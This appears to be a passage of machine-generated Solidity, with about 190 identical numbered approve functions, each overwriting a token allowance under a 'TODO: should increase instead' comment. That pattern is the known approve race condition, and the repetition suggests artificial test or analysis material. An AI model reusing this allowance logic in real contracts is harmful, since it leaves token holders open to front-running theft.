function approve_168(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_169(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_170(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_171(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_172(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_173(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_174(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_175(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_176(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_177(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_178(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_179(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_180(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_181(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_182(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_183(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_184(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_185(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_186(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_187(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_188(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_189(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_190(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_191(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_192(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_193(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_194(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_195(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_196(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_197(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_198(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_199(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_200(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_201(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_202(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_203(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_204(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_205(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_206(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_207(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_208(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_209(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_210(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_211(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_212(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_213(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_214(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_215(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_216(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_217(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_218(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_219(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_220(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_221(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_222(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_223(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_224(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_225(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_226(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_227(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_228(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_229(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_230(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_231(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_232(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_233(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_234(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_235(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_236(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_237(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_238(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_239(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_240(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_241(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_242(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_243(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_244(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_245(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_246(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_247(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_248(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_249(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_250(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_251(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_252(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_253(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_254(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_255(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_256(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_257(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_258(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_259(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_260(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_261(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_262(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_263(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_264(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_265(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_266(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_267(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_268(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_269(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_270(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_271(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_272(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_273(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_274(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_275(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_276(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_277(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_278(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_279(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_280(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_281(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_282(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_283(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_284(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_285(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_286(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_287(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_288(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_289(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_290(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_291(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_292(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_293(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_294(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_295(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_296(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_297(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_298(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_299(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_300(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_301(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_302(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_303(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_304(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_305(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_306(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_307(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_308(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_309(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_310(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_311(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_312(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_313(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_314(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_315(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_316(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_317(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_318(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_319(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_320(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_321(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_322(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_323(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_324(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_325(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_326(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_327(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_328(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_329(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_330(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_331(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_332(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_333(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_334(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_335(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_336(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_337(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_338(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_339(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_340(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_341(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_342(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_343(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_344(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_345(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_346(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_347(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_348(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_349(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_350(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_351(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_352(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_353(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_354(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_355(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_356(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_357(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_358(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_359(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
